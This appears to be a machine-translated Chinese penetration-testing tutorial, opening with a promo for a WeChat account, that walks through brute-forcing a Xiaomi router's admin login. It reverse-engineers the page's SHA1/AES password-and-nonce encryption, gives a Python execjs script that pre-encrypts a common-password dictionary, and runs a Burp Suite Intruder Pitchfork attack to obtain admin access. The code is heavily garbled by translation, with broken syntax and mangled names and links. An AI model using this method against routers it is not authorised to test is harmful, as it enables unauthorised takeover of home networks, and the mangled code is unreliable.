小米路由管理密码重置,小米路由器如何重置管理密码
更多渗透技巧,10多本电子书,渗透工具包,搜索微信官方账号:白帽子左边目标路由器管理员密码未知,根据已有字典管理员密码炸了。
工具:burpsuite
脚本语言:python3.7
1.数据包分析并输入小米路由器管理员的接口地址192.168.31.1。
未知的管理员密码。
输入测试密码:123。
用burpsuite抓住袋子两次,看看结果。
第一包的结果:
第二套方案的结果:
即使您两次输入相同的密码123,您也可以看到发送到服务器的密码和nonce字段是不同的。
可以判断输入的密码是加密的,有随机数。你不能用字典直接把它炸了。您必须加密字典并附加随机数nonce。
2.源代码读取前端源代码
选择f12页面中的元素并查看按钮id:btnRtSubmit。
在调试器web文件中,查找按钮btnRtSubmit调用的方法。
发现方法是登录手。
浏览登录握手源代码
发现密码被Encrypt加密了。
显示Encrpty.oldPwd方法的源代码。
发现oldPwd方法调用了目录中的两个源文件:aes.js和sha1.js
3.因为要编写脚本代码,所以计划用python脚本调用js,加密字典中的数据,并将返回值设置为password和nonce。
JS代码(Encrypt.js)更改如下:
修改功能登录
传递的值是在前端文本框中输入的值,输出值是oldPwd函数输出的值(capture中的密码值)和Encrypt方法初始化时生成的nonce。
将oldPwd使用的Encrypt和CryptoJS方法写入同一个JS文件,并显示代码的截屏。
Python脚本如下
导入程序
导入importexecjs#pyexecjs库
Get _ js(导入:# js文件
f=open(「encrypt.js "、" r "、encoding=utf-8 ))
line=f.readline())
hml str=
while行:
htmlstr=htmlstr行
line=f.readline())
返回htmlstr
jsstr=get_js()
CTX=execjs.compile(jsstr))。
Def creative _ book(创建:#加密密码字典
f=open(「top100pwd.txt )
对于f中的行:
r=line.strip ()n))
UTF=CTX.call(loginhandle),r)).
h=open(adobe _ top 100 _ pass _ creative . txt, a ))
h1=open(adobe _ top 100 _ pass _ creative _ random . txt, a ))
h.write((n ) utf[0])()))))))))))))))).
h1 . write((n)URL lib . parse . quote(utf[1]))).
print(utf[0],urllib.parse.quote ) (utf[1])
h.close())
h1.close().
f.close()
创意_书(
生成两个字典adobe_top100_pass_creative.txt和adobe _ top 100 _ pass _ creative _ random . txt。
密码和密码分开保管。
下面截图
4.以上步骤完成后,生成必要的字典,burpsuite攻击开始。
将捕获的数据包发送给入侵者。
选择Pitchfork,要炸开的字段是password和nonce。
在有效负载上加载两个字典
点击开始攻击开始攻击。
攻击完成后,点击长度列表,找到异常长度。
显示此请求包的响应包。
代码字段为0,表示具有正确密码的令牌已经分发。
将密码和nonce字段更改为Payload1和Payload2以释放包。
获得管理员权限。
源代码
3359 github.com/h2so 0o 4/admin _侵入者
资料来源:http://33h.co/w8f8i.
参考数据
3359 blog.csdn.net/x1 t02m/文章/详情/81949572
3359 t0data . git books.io/burp套件/内容/第8章。超文本标记语言